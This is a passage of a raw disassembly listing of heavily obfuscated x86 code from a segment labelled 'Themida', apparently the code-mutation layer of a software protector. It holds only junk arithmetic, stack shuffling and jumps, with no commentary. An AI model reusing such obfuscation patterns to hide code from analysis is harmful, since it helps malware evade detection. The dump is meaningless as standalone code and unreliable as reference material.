0D08DC268h sub esi, ebp pop ebp add ebx, esi mov esi, [esp] add esp, 4 jmp loc_561F6A ; --------------------------------------------------------------------------- loc_55E0DD: ; CODE XREF: Themida_:00561988j not edx dec edx jmp loc_5671DE ; --------------------------------------------------------------------------- loc_55E0E5: ; CODE XREF: Themida_:0056DB1Fj sub ecx, offset dword_549154 add edi, ecx jmp loc_56A185 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55E100: ; CODE XREF: Themida_:0056915Cj push 11C6h push esp pop dword ptr [esp] jmp loc_56E554 ; --------------------------------------------------------------------------- loc_55E10E: ; CODE XREF: Themida_:00567E1Fj add esp, 4 add al, dh mov edx, [esp] add esp, 4 push ecx push eax push bx mov bh, 89h mov ah, bh jmp loc_569E70 ; --------------------------------------------------------------------------- loc_55E129: ; CODE XREF: Themida_:0055F533j pop edi add edi, 72F20CC7h add edi, 6E74ADF7h add ebx, edi pop edi push eax push 4 pop eax jmp loc_570B99 ; --------------------------------------------------------------------------- loc_55E145: ; CODE XREF: Themida_:0056BA12j pop edi sub ebp, 72D525ABh add ebp, 3F57081Ch sub ebp, edx sub ebp, 3F57081Ch add ebp, 72D525ABh push dword ptr [esp] jmp loc_55E9E1 ; --------------------------------------------------------------------------- push eax mov eax, 38h push ebp mov ebp, 2B005D46h push esi mov esi, 78C612A0h inc esi sub esi, 30497DBEh add esi, 36677A19h sub esi, 7EE40EFDh sub ebp, esi pop esi and ebp, 4BD76A1Bh sub ebp, 43224140h push ebx jmp loc_56D2FC ; --------------------------------------------------------------------------- loc_55E1A2: ; CODE XREF: Themida_:00565A4Cj sub esi, 5AA75C1Dh jmp loc_56AEBD ; --------------------------------------------------------------------------- loc_55E1AD: ; CODE XREF: Themida_:0056A4E2j mov [esp], edi push ebx jmp loc_56B639 ; --------------------------------------------------------------------------- loc_55E1B6: ; CODE XREF: Themida_:0055F4E9j push dword ptr [esp] jmp loc_56532C ; --------------------------------------------------------------------------- loc_55E1BE: ; CODE XREF: Themida_:00570529j inc eax jmp loc_5723A2 ; --------------------------------------------------------------------------- loc_55E1C4: ; CODE XREF: Themida_:0056EE23j push ecx mov ecx, 4 sub ebp, ecx push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 jmp loc_55F516 ; --------------------------------------------------------------------------- loc_55E1DE: ; CODE XREF: Themida_:00571421j pop esi pop ebx sub esp, 4 mov [esp], esi jmp loc_56EB1C ; --------------------------------------------------------------------------- loc_55E1EB: ; CODE XREF: Themida_:0056BF4Ej mov eax, [esp] add esp, 4 jmp loc_564D92 ; --------------------------------------------------------------------------- loc_55E1F9: ; CODE XREF: Themida_:0056CA0Aj add ebx, eax sub ebx, 1E9904EDh add ebx, 30866D7Ch add ebx, 21D60D86h jmp loc_56765A ; --------------------------------------------------------------------------- loc_55E212: ; CODE XREF: Themida_:00570C03j add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx push edi push 6AC2249Bh pop edi sub edi, 6AC22497h mov ebx, edi mov edi, [esp] add esp, 4 add ecx, 49334924h push ebx jmp loc_5640E7 ; --------------------------------------------------------------------------- loc_55E24C: ; CODE XREF: Themida_:0056403Ej push 69081AB3h pop edx jmp loc_55E8B4 ; --------------------------------------------------------------------------- loc_55E257: ; CODE XREF: Themida_:00570251j push ebp mov ebp, 3D8002F0h jmp loc_56FDAF ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], edx jmp loc_55F061 ; --------------------------------------------------------------------------- loc_55E27C: ; CODE XREF: Themida_:0055F9CDj xor edi, [esp] pop esp sub [esp], al pushf jmp loc_566311 ; --------------------------------------------------------------------------- loc_55E289: ; CODE XREF: Themida_:005665E0j add al, dl push ecx jmp loc_55FCCD ; --------------------------------------------------------------------------- loc_55E291: ; CODE XREF: Themida_:0057144Cj push ebx mov bl, 0BCh xor bl, 73h add bl, 4Eh sub al, 0DBh add al, bl add al, 0DBh pop ebx sub al, bl sub al, 1Dh jmp loc_5691F2 ; --------------------------------------------------------------------------- loc_55E2AA: ; CODE XREF: Themida_:00563BD0j add dword ptr [esp], 4 mov eax, [esp] jmp loc_565BA7 ; --------------------------------------------------------------------------- loc_55E2B9: ; CODE XREF: Themida_:0055EAADj push esi mov esi, 5D84553h jmp loc_569FE5 ; --------------------------------------------------------------------------- loc_55E2C4: ; CODE XREF: Themida_:0056EA99j mov ch, 0FFh sub dh, ch jmp loc_56F68D ; --------------------------------------------------------------------------- loc_55E2CD: ; CODE XREF: Themida_:0055ECD9j add edi, ecx mov ecx, [esp] add esp, 4 push esi mov esi, esp jmp loc_571CCF ; --------------------------------------------------------------------------- loc_55E2E0: ; CODE XREF: Themida_:0055D9B1j sub ebp, 71171FC8h sub ebp, 920AE0BFh mov eax, ebp jmp loc_569711 ; --------------------------------------------------------------------------- loc_55E2F3: ; CODE XREF: Themida_:0055D8F3j push 1224h jmp loc_566337 ; --------------------------------------------------------------------------- loc_55E2FD: ; CODE XREF: Themida_:00560D60j add ebp, 4 push esi jmp loc_570146 ; --------------------------------------------------------------------------- loc_55E309: ; CODE XREF: Themida_:0056ED5Bj mov ebp, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] sub [edi+24h], esi push dword ptr [esp] jmp loc_564B45 ; --------------------------------------------------------------------------- loc_55E335: ; CODE XREF: Themida_:005696B2j movzx eax, al mov dx, [esp] sub esp, 4 mov [esp], ebp push 4D30h jmp loc_562980 ; --------------------------------------------------------------------------- loc_55E34C: ; CODE XREF: Themida_:0056D64Ej pop edi shr edi, 3 neg edi jmp loc_56CDB6 ; --------------------------------------------------------------------------- loc_55E357: ; CODE XREF: Themida_:00568F3Fj mov ch, dh push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_56DF87 ; --------------------------------------------------------------------------- loc_55E370: ; CODE XREF: Themida_:0055F07Bj mov esi, esp jmp loc_567C2E ; --------------------------------------------------------------------------- loc_55E377: ; CODE XREF: Themida_:0056D74Aj pop ebx push esi jmp loc_55F2BE ; --------------------------------------------------------------------------- loc_55E37E: ; CODE XREF: Themida_:00564DDBj add ebp, 4 push edi mov edi, 4 jmp loc_566DAC ; --------------------------------------------------------------------------- loc_55E38F: ; CODE XREF: Themida_:005608A7j xor bl, 0D4h add al, 3 add al, bl sub al, 3 pop ebx push 5D95h jmp loc_56C3B2 ; --------------------------------------------------------------------------- loc_55E3A3: ; CODE XREF: Themida_:005604F7j or edi, 0F4E0986h xor edi, 0F7F4982h sub ecx, 1F9D122Bh add ecx, edi push ebp push 1F9D122Bh pop ebp add ecx, ebp pop ebp jmp loc_56F1F3 ; --------------------------------------------------------------------------- loc_55E3C6: ; CODE XREF: Themida_:005603FFj mov edx, 2 push eax jmp loc_565C2F ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_56FBF0 ; --------------------------------------------------------------------------- loc_55E3DB: ; CODE XREF: Themida_:005723B9j mov [esp], edi mov edi, esp push ebp mov ebp, 0BCF19F9h neg ebp sub ebp, 1 sub ebp, 23221073h not ebp add ebp, 0D10ED598h add edi, ebp jmp loc_56C196 ; --------------------------------------------------------------------------- loc_55E400: ; CODE XREF: Themida_:0056BFD0j mov [esp], eax mov eax, 4 jmp loc_56EB98 ; --------------------------------------------------------------------------- loc_55E40D: ; CODE XREF: Themida_:00561D26j mov ebx, 72AF024Eh jmp loc_56E6F0 ; --------------------------------------------------------------------------- loc_55E417: ; CODE XREF: Themida_:00564AACj pop dword ptr [esp] jmp loc_56AF34 ; --------------------------------------------------------------------------- loc_55E41F: ; CODE XREF: Themida_:0056F9ABj pop edi push ebx jmp loc_56AA45 ; --------------------------------------------------------------------------- loc_55E426: ; CODE XREF: Themida_:0056B892j xor ebp, [esp] pop esp push ecx jmp loc_56DE5F ; --------------------------------------------------------------------------- loc_55E430: ; CODE XREF: Themida_:005686AAj push edx mov dh, 2 mov cl, 54h and cl, 33h jmp loc_56C45A ; --------------------------------------------------------------------------- loc_55E43D: ; CODE XREF: Themida_:0056DE52j mov ebx, [esp] add esp, 4 jmp loc_56688E ; --------------------------------------------------------------------------- loc_55E448: ; CODE XREF: Themida_:0055F838j push esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] jmp loc_5629BE ; --------------------------------------------------------------------------- loc_55E45C: ; CODE XREF: Themida_:0056DC6Aj add edx, 4 xchg edx, [esp] mov esp, [esp] push ebx jmp loc_56BCAB ; --------------------------------------------------------------------------- loc_55E46B: ; CODE XREF: Themida_:00569409j add esp, 4 push ebx mov bh, 5Bh jmp loc_5625DA ; --------------------------------------------------------------------------- loc_55E479: ; CODE XREF: Themida_:00568FA6j or al, 30h push edx jmp loc_55F152 ; --------------------------------------------------------------------------- loc_55E481: ; CODE XREF: Themida_:00561E66j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_564F88 ; --------------------------------------------------------------------------- loc_55E492: ; CODE XREF: Themida_:0055F23Fj push edi jmp loc_56DB75 ; --------------------------------------------------------------------------- loc_55E498: ; CODE XREF: Themida_:00565ECEj xchg ebx, ebp not ebx xchg ebx, ebp dec ebp jmp loc_56FFFE ; --------------------------------------------------------------------------- loc_55E4A4: ; CODE XREF: Themida_:00565E0Fj push 2EFh push 5920h mov [esp], esp add dword ptr [esp], 4 jmp loc_55F202 ; --------------------------------------------------------------------------- loc_55E4BD: ; CODE XREF: Themida_:0056A0F1j pop esi add esp, 4 sub ebx, edx sub ebx, 117B161Ah mov edx, [esp] jmp loc_56C502 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp jmp loc_570F26 ; --------------------------------------------------------------------------- loc_55E4E0: ; CODE XREF: Themida_:0056A8E4j add esp, 4 push 405Fh mov [esp], ecx jmp loc_56E332 ; --------------------------------------------------------------------------- loc_55E4F3: ; CODE XREF: Themida_:00562FF5j push 1005h mov [esp], esi push 4 pop esi jmp loc_57079D ; --------------------------------------------------------------------------- loc_55E506: ; CODE XREF: Themida_:005668F0j mov ebx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_55F08D ; --------------------------------------------------------------------------- loc_55E519: ; CODE XREF: Themida_:0056F782j inc ecx jmp loc_5676F0 ; --------------------------------------------------------------------------- loc_55E51F: ; CODE XREF: Themida_:0056FF76j pop ebp sub esi, 2545E91h add esi, 831A025h jmp loc_568F8F ; --------------------------------------------------------------------------- loc_55E531: ; CODE XREF: Themida_:0056AF8Bj pop edx xchg edi, [esp] mov esp, [esp] push edi push 6178216Ch mov edi, [esp] jmp loc_561CCD ; --------------------------------------------------------------------------- loc_55E546: ; CODE XREF: Themida_:0056CEA3j mov al, 1Ch mov ch, 18h sub ch, al jmp loc_56A1A3 ; --------------------------------------------------------------------------- loc_55E551: ; CODE XREF: Themida_:00560D0Fj mov [esp], edi mov edi, 4 add dword ptr [esp+4], 767F2A63h add [esp+4], edi sub dword ptr [esp+4], 767F2A63h jmp loc_563E67 ; --------------------------------------------------------------------------- loc_55E572: ; CODE XREF: Themida_:005620C5j push ecx mov ecx, esp jmp loc_57046A ; --------------------------------------------------------------------------- loc_55E57A: ; CODE XREF: Themida_:00568D7Dj or eax, 1AF471FDh shl eax, 3 add eax, 851528CCh add edx, eax pop eax jmp loc_56CA0F ; --------------------------------------------------------------------------- loc_55E58F: ; CODE XREF: Themida_:0056F249j mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov edi, [esp] jmp loc_571182 ; --------------------------------------------------------------------------- loc_55E5A5: ; CODE XREF: Themida_:00570045j mov ecx, 7F2B79E9h sub ebp, ecx jmp loc_55ED4C ; --------------------------------------------------------------------------- loc_55E5B1: ; CODE XREF: Themida_:00569A25j add ebx, esi pop esi add ebx, esi jmp loc_566316 ; --------------------------------------------------------------------------- loc_55E5BB: ; CODE XREF: Themida_:0055F088j pop dword ptr [esp] push dword ptr [esp] jmp loc_570624 ; --------------------------------------------------------------------------- loc_55E5C6: ; CODE XREF: Themida_:00561735j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55E5CB: ; CODE XREF: Themida_:00566DEEj push ebx mov bh, ah jmp loc_56FD57 ; --------------------------------------------------------------------------- loc_55E5D3: ; CODE XREF: Themida_:0056E4BAj push eax push ecx push edx jmp loc_566AE9 ; --------------------------------------------------------------------------- loc_55E5DB: ; CODE XREF: Themida_:00571C27j push small 5DE9h jmp loc_56B0D5 ; --------------------------------------------------------------------------- loc_55E5E4: ; CODE XREF: Themida_:00568392j push 3029h mov [esp], esp push 71D8h mov [esp], ebx push edi mov edi, 5F8B5968h shl edi, 7 jmp loc_570A2F ; --------------------------------------------------------------------------- loc_55E602: ; CODE XREF: Themida_:0056BAA1j add edi, 3D83BDAh jmp loc_565A51 ; --------------------------------------------------------------------------- loc_55E60D: ; CODE XREF: Themida_:0056FC3Bj push eax mov ah, 7Bh jmp loc_563C64 ; --------------------------------------------------------------------------- loc_55E615: ; CODE XREF: Themida_:0055DB57j push esp jmp loc_56D9B5 ; --------------------------------------------------------------------------- loc_55E61B: ; CODE XREF: Themida_:0055F391j mov [esp], esp jmp loc_571E3B ; --------------------------------------------------------------------------- loc_55E623: ; CODE XREF: Themida_:00563170j add esi, ecx pop ecx xor edx, esi pop esi push edx push edi mov edi, 148579ACh jmp loc_5659DB ; --------------------------------------------------------------------------- loc_55E635: ; CODE XREF: Themida_:005689FDj push eax jmp loc_5652DA ; --------------------------------------------------------------------------- loc_55E63B: ; CODE XREF: Themida_:00568A89j pop ebx add al, 9Fh sub al, 0FEh jmp loc_56195A ; --------------------------------------------------------------------------- loc_55E645: ; CODE XREF: Themida_:00572157j push 672Fh mov [esp], edx mov dl, ch jmp loc_56ED02 ; --------------------------------------------------------------------------- xor [esp], edi xor edi, [esp] xor [esp], edi xor edi, ebx xor ebx, edi xor edi, ebx sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] xor ecx, edx xor edx, ecx xor ecx, edx xchg ecx, edx not ecx xchg ecx, edx xchg edx, ecx xor [esp], ecx jmp loc_55E749 ; --------------------------------------------------------------------------- loc_55E690: ; CODE XREF: Themida_:00567AB0j add esi, 4 push ebp mov ebp, 2 sub esi, 32ED6938h jmp loc_55FC9B ; --------------------------------------------------------------------------- loc_55E6A7: ; CODE XREF: Themida_:005601AFj add edi, eax pop eax xor eax, edi pop edi push 51CEh mov [esp], esi push ecx mov ecx, 7AC94D96h mov esi, 0A1099776h sub esi, ecx pop ecx not esi jmp loc_56879E ; --------------------------------------------------------------------------- loc_55E6CA: ; CODE XREF: Themida_:0056F8E8j mov [esp], ebp mov ebp, 698C5808h not ebp neg ebp xor ebp, 119D2D1Bh push eax push 420E123Eh mov eax, [esp] add esp, 4 xor eax, 0C5E098CCh add ebp, eax mov eax, [esp] add esp, 4 jmp loc_56D1D6 ; --------------------------------------------------------------------------- loc_55E6FD: ; CODE XREF: Themida_:00570CCCj mov eax, edi mov esi, eax pop eax pop edi add ecx, 4F9D712Ch add ecx, esi jmp loc_55EF41 ; --------------------------------------------------------------------------- loc_55E710: ; CODE XREF: Themida_:0056B9D4j sub esp, 4 mov [esp], ebp push esi mov esi, 11EA06A0h push edx mov edx, 0 add edx, 27C07A14h sub edx, esi push ebx mov ebx, 239520CFh inc ebx and ebx, 41AC0A0Bh jmp loc_56456B ; --------------------------------------------------------------------------- loc_55E73C: ; CODE XREF: Themida_:00563909j add ebx, 74BE0767h sub ebx, ebp jmp loc_55FA24 ; --------------------------------------------------------------------------- loc_55E749: ; CODE XREF: Themida_:0055E68Bj xor ecx, [esp] jmp loc_564043 ; --------------------------------------------------------------------------- loc_55E751: ; CODE XREF: Themida_:00563A5Cj mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], eax mov ah, bh sub esp, 4 mov [esp], ecx jmp loc_56FA1F ; --------------------------------------------------------------------------- loc_55E770: ; CODE XREF: Themida_:005684C0j mov [esp], ecx mov ecx, 2C3E74BAh sub ecx, 2C3E74B6h add eax, ecx pop ecx push ebx mov ebx, 2 push edx mov edx, 76BB51CAh add eax, 2A44266Dh add eax, edx sub eax, 2A44266Dh pop edx jmp loc_560955 ; --------------------------------------------------------------------------- loc_55E79F: ; CODE XREF: Themida_:0057272Ej pop eax push ecx jmp loc_5637F9 ; --------------------------------------------------------------------------- loc_55E7A6: ; CODE XREF: Themida_:00568CA5j add esi, 9580001h pop edx push ebx jmp loc_55FB67 ; --------------------------------------------------------------------------- loc_55E7B3: ; CODE XREF: Themida_:005715A7j push esp jmp loc_5637A2 ; --------------------------------------------------------------------------- loc_55E7B9: ; CODE XREF: Themida_:0055EBD1j push ax mov al, cl not al mov cl, al mov ax, [esp] add esp, 2 sub cl, 0CFh jmp loc_56C1D2 ; --------------------------------------------------------------------------- loc_55E7D0: ; CODE XREF: Themida_:005653CFj mov edx, 45F21334h sub edx, 179E1452h jmp loc_56AC3E ; --------------------------------------------------------------------------- loc_55E7E0: ; CODE XREF: Themida_:00562033j mov ebx, [esp] add esp, 4 add ebx, 4 push edi push 4DB4h mov [esp], ecx mov ecx, 4 push ecx xor dword ptr [esp], 2350624Ah pop edi push ebx jmp loc_56F345 ; --------------------------------------------------------------------------- loc_55E80C: ; CODE XREF: Themida_:00563207j mov [esp], ebx mov ebx, 8282E2Ch xor ebp, ebx pop ebx sub eax, ebp pop ebp neg eax sub eax, 1 sub eax, 8559C461h jmp loc_563CAA ; --------------------------------------------------------------------------- loc_55E82B: ; CODE XREF: Themida_:005623E2j mov ah, bl pop ebx mov cx, [esp] jmp loc_55DB08 ; --------------------------------------------------------------------------- loc_55E837: ; CODE XREF: Themida_:0056B4A6j mov ebx, esp push ebp mov ebp, esp push eax mov eax, 167A7B13h jmp loc_56C8EC ; --------------------------------------------------------------------------- loc_55E847: ; CODE XREF: Themida_:00568F98j pop esi xor eax, edx pop edx push 0D88h jmp loc_571951 ; --------------------------------------------------------------------------- loc_55E855: ; CODE XREF: Themida_:00563C5Fj pop ecx add [esp+4], eax jmp loc_569836 ; --------------------------------------------------------------------------- loc_55E85F: ; CODE XREF: Themida_:0056746Aj xor edi, 5098AF91h xor ecx, edi mov edi, [esp] add esp, 4 push 15FCh mov [esp], ebp mov ebp, ecx push edi mov edi, ebp mov edx, edi pop edi jmp loc_561D73 ; --------------------------------------------------------------------------- loc_55E885: ; CODE XREF: Themida_:0055DC6Cj neg edx xor edx, 0D2AF04EDh jmp loc_566B26 ; --------------------------------------------------------------------------- loc_55E892: ; CODE XREF: Themida_:00569CC0j add al, bh add al, 0E8h push dword ptr [esp] pop ebx sub esp, 4 jmp loc_56FF4F ; --------------------------------------------------------------------------- loc_55E8A5: ; CODE XREF: Themida_:0056B016j push esp pop esi jmp loc_56583B ; --------------------------------------------------------------------------- loc_55E8AC: ; CODE XREF: Themida_:00568432j mov ebp, [esp] jmp loc_565616 ; --------------------------------------------------------------------------- loc_55E8B4: ; CODE XREF: Themida_:0055E252j push esi mov esi, 36A673B3h mov eax, esi mov esi, [esp] add esp, 4 xor eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 0A05196FFh mov ecx, [esp] jmp loc_572433 ; --------------------------------------------------------------------------- loc_55E8DD: ; CODE XREF: Themida_:0056AF12j add esi, edx mov edx, [esp] jmp loc_56A7EB ; --------------------------------------------------------------------------- loc_55E8E7: ; CODE XREF: Themida_:0055FD14j mov ebx, edi pop edi add ebx, ecx pop ecx add ecx, ebx pop ebx sub esp, 4 mov [esp], edx push edi jmp loc_568787 ; --------------------------------------------------------------------------- loc_55E8FC: ; CODE XREF: Themida_:0056A741j sub esp, 4 mov [esp], eax push esi jmp loc_5681F8 ; --------------------------------------------------------------------------- loc_55E908: ; CODE XREF: Themida_:0056B6D8j neg ebx inc ebx add ebx, 15C41230h sub esi, 153B1109h add esi, ebx add esi, 153B1109h jmp loc_561F0E ; --------------------------------------------------------------------------- loc_55E924: ; CODE XREF: Themida_:00570E90j push eax push ebp mov ebp, 6C2C73BEh mov eax, 0D1C1BB04h jmp loc_56BCEF ; --------------------------------------------------------------------------- loc_55E935: ; CODE XREF: Themida_:00572475j sub esi, 3E1B608Dh jmp loc_5646C5 ; --------------------------------------------------------------------------- loc_55E940: ; CODE XREF: Themida_:0056E5B1j add esp, 4 jmp loc_5661D3 ; --------------------------------------------------------------------------- loc_55E948: ; CODE XREF: Themida_:0056B1B0j mov edi, 0A0BF6ADEh sub esi, 7D7D2D20h sub esi, edi add esi, 7D7D2D20h jmp loc_56FAB8 ; --------------------------------------------------------------------------- loc_55E960: ; CODE XREF: Themida_:0056B812j push 1CDDh jmp loc_561ADF ; --------------------------------------------------------------------------- loc_55E96A: ; CODE XREF: Themida_:0056B70Dj add esi, ecx pop ecx jmp loc_567583 ; --------------------------------------------------------------------------- loc_55E972: ; CODE XREF: Themida_:0055E9D1j sub edi, 0FFFFFFFFh not edi push eax mov eax, 5A022149h jmp loc_55E081 ; --------------------------------------------------------------------------- loc_55E985: ; CODE XREF: Themida_:005633F0j mov eax, esp jmp loc_563E00 ; --------------------------------------------------------------------------- loc_55E98C: ; CODE XREF: Themida_:005697B8j push dword ptr [esp] mov esi, [esp] jmp loc_55FCDB ; --------------------------------------------------------------------------- loc_55E997: ; CODE XREF: Themida_:0055FCFBj push 45908A12h mov ebx, [esp] push 4BC3h jmp loc_561753 ; --------------------------------------------------------------------------- loc_55E9A9: ; CODE XREF: Themida_:005670C1j pop ebp xor ebx, ecx pop ecx add ecx, ebx pop ebx add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_56206F ; --------------------------------------------------------------------------- loc_55E9BD: ; CODE XREF: Themida_:00568A41j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55F18E ; --------------------------------------------------------------------------- loc_55E9CB: ; CODE XREF: Themida_:00567F01j mov edi, 71FC3319h inc edi jmp loc_55E972 ; --------------------------------------------------------------------------- loc_55E9D6: ; CODE XREF: Themida_:0055E07Cj mov esp, [esp] mov [esp], ebp jmp loc_55EC0F ; --------------------------------------------------------------------------- loc_55E9E1: ; CODE XREF: Themida_:0055E163j pop edx add esp, 4 and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or edx, eax shl edx, 1 push ebx sub esp, 4 mov [esp], edx jmp loc_55D8B9 ; --------------------------------------------------------------------------- loc_55EA01: ; CODE XREF: Themida_:00560FCBj push ecx mov ecx, 7F4D4C6Bh push eax jmp loc_567F47 ; --------------------------------------------------------------------------- loc_55EA0D: ; CODE XREF: Themida_:00563196j pop edi sub ebx, eax pop eax add ebx, 0E9703A5Fh sub edi, 3A3F5327h sub edi, ebx add edi, 3A3F5327h pop ebx retn ; --------------------------------------------------------------------------- jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EA2C: ; CODE XREF: Themida_:005602E6j mov edi, [esp] push esi mov esi, esp add esi, 4 jmp loc_56E258 ; --------------------------------------------------------------------------- loc_55EA3D: ; CODE XREF: Themida_:0056546Aj mov cl, 32h jmp loc_5724F8 ; --------------------------------------------------------------------------- loc_55EA44: ; CODE XREF: Themida_:0056EA04j shr edx, 1 cmp eax, edx jz loc_56E277 push ecx push esp push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 push ebp jmp loc_55D873 ; --------------------------------------------------------------------------- loc_55EA63: ; CODE XREF: Themida_:00571260j pop esi pop dword ptr [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EA75: ; CODE XREF: Themida_:005662EBj pop edx jmp loc_571C9D ; --------------------------------------------------------------------------- loc_55EA7B: ; CODE XREF: Themida_:005650C8j add ecx, 55B2277Dh pop edx jmp loc_562BFA ; --------------------------------------------------------------------------- loc_55EA87: ; CODE XREF: Themida_:00567E89j add ebx, ebp push esi mov esi, 3B003269h add ebx, esi pop esi mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor edx, eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EAAC: ; CODE XREF: Themida_:0056253Ej push ecx jmp loc_55E2B9 ; --------------------------------------------------------------------------- loc_55EAB2: ; CODE XREF: Themida_:0056338Bj mov [esp], edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp mov ebp, 3C012677h jmp loc_56AD6C ; --------------------------------------------------------------------------- loc_55EAD1: ; CODE XREF: Themida_:00565D47j add esp, 4 sub edx, 20E14655h add edx, 7035054Ch sub edx, esi sub edx, 7035054Ch jmp loc_569C6B ; --------------------------------------------------------------------------- loc_55EAED: ; CODE XREF: Themida_:005709A6j push esp pop esi add esi, 4 add esi, 4 jmp loc_567447 ; --------------------------------------------------------------------------- loc_55EAFD: ; CODE XREF: Themida_:005716F9j add esi, 12582F94h sub eax, 0CAB36A9h sub eax, 15715BC4h add eax, esi jmp loc_56071C ; --------------------------------------------------------------------------- loc_55EB14: ; CODE XREF: Themida_:0056DB01j pop edx and ah, 0E1h push small 0 sub [esp], ah jmp loc_56BF5B ; --------------------------------------------------------------------------- loc_55EB24: ; CODE XREF: Themida_:00566F27j push ecx mov ecx, 60EC67ACh xor ecx, 60EC67A8h add eax, ecx pop ecx sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], edi jmp loc_55FE00 ; --------------------------------------------------------------------------- loc_55EB4C: ; CODE XREF: Themida_:00569272j sub al, bh push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 jmp loc_56EFD1 ; --------------------------------------------------------------------------- loc_55EB60: ; CODE XREF: Themida_:0055F30Dj xchg ecx, ebx or ebx, 2A374510h sub ebx, 1DBE68Ah neg ebx not ebx shr ebx, 1 jmp loc_56EBCA ; --------------------------------------------------------------------------- loc_55EB79: ; CODE XREF: Themida_:0056B9AAj push small 7971h mov [esp], bx mov bl, dl neg bl mov dl, bl pop bx neg dl sub dl, 4Ch jmp loc_56E120 ; --------------------------------------------------------------------------- loc_55EB93: ; CODE XREF: Themida_:0056D5B8j xor ebp, [esp] jmp loc_569047 ; --------------------------------------------------------------------------- loc_55EB9B: ; CODE XREF: Themida_:0056882Ej xchg eax, [esp] pop esp mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 4 add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx jmp loc_567F30 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 6221h jmp loc_56E613 ; --------------------------------------------------------------------------- loc_55EBCE: ; CODE XREF: Themida_:005681B8j add esp, 2 jmp loc_55E7B9 ; --------------------------------------------------------------------------- loc_55EBD6: ; CODE XREF: Themida_:00566024j mov eax, ecx pop ecx jmp loc_56CDDE ; --------------------------------------------------------------------------- loc_55EBDE: ; CODE XREF: Themida_:005650EEj movzx eax, al jmp loc_56DB96 ; --------------------------------------------------------------------------- loc_55EBE6: ; CODE XREF: Themida_:00567312j push dword ptr [esp] jmp loc_56FBF5 ; --------------------------------------------------------------------------- loc_55EBEE: ; CODE XREF: Themida_:0056F5A8j sub esi, 56E869FCh sub esi, 22E77C9Eh jmp loc_55D8AB ; --------------------------------------------------------------------------- loc_55EBFF: ; CODE XREF: Themida_:005608E3j xor [esp], ecx xor ecx, [esp] pop esp inc byte ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EC0F: ; CODE XREF: Themida_:0055E9DCj mov ebp, esp push ecx push esi mov esi, 49B5525Ah mov ecx, esi pop esi push edx mov edx, 771D0F1Eh jmp loc_570971 ; --------------------------------------------------------------------------- loc_55EC26: ; CODE XREF: Themida_:005634CDj shr word ptr [esp], cl pushf jmp loc_561ECA ; --------------------------------------------------------------------------- loc_55EC30: ; CODE XREF: Themida_:005715C6j pop esi sub ebx, 6C08307Ah add ebx, 1DC847D1h add ebx, edi sub ebx, 1DC847D1h add ebx, 6C08307Ah add ebx, 6CEB1672h push ecx mov ecx, 0 jmp loc_5703D0 ; --------------------------------------------------------------------------- loc_55EC5C: ; CODE XREF: Themida_:0057117Dj add ebx, 72117EF4h mov edi, ebx pop ebx and edi, 2C7C4510h shl edi, 4 xor edi, 7FEC18DEh dec edi jmp loc_56399F ; --------------------------------------------------------------------------- loc_55EC7A: ; CODE XREF: Themida_:0056285Cj pop edx jmp loc_56996B ; --------------------------------------------------------------------------- loc_55EC80: ; CODE XREF: Themida_:00572486j add ebp, 31AF2D68h sub esi, 398D798Dh add esi, ebp jmp loc_567D7E ; --------------------------------------------------------------------------- loc_55EC93: ; CODE XREF: Themida_:00564B00j shr edx, 2 sub esp, 4 jmp loc_5654A5 ; --------------------------------------------------------------------------- loc_55ECA1: ; CODE XREF: Themida_:0056D048j pop edx push 548Ah mov [esp], ecx mov ecx, 3E0F6333h jmp loc_5625B1 ; --------------------------------------------------------------------------- loc_55ECB4: ; CODE XREF: Themida_:00561E2Dj mov edi, 368576AEh jmp loc_56F446 ; --------------------------------------------------------------------------- loc_55ECBE: ; CODE XREF: Themida_:0056C8F4j pop eax sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_56C8AE ; --------------------------------------------------------------------------- loc_55ECCE: ; CODE XREF: Themida_:00565016j mov ecx, 769D2EE1h add ecx, 8962D123h jmp loc_55E2CD ; --------------------------------------------------------------------------- loc_55ECDE: ; CODE XREF: Themida_:0056404Dj push 756Ch mov [esp], edi push ebx pop edi jmp loc_571298 ; --------------------------------------------------------------------------- loc_55ECED: ; CODE XREF: Themida_:00567F7Fj push esp pop edi push 6C87h mov [esp], eax mov eax, 4 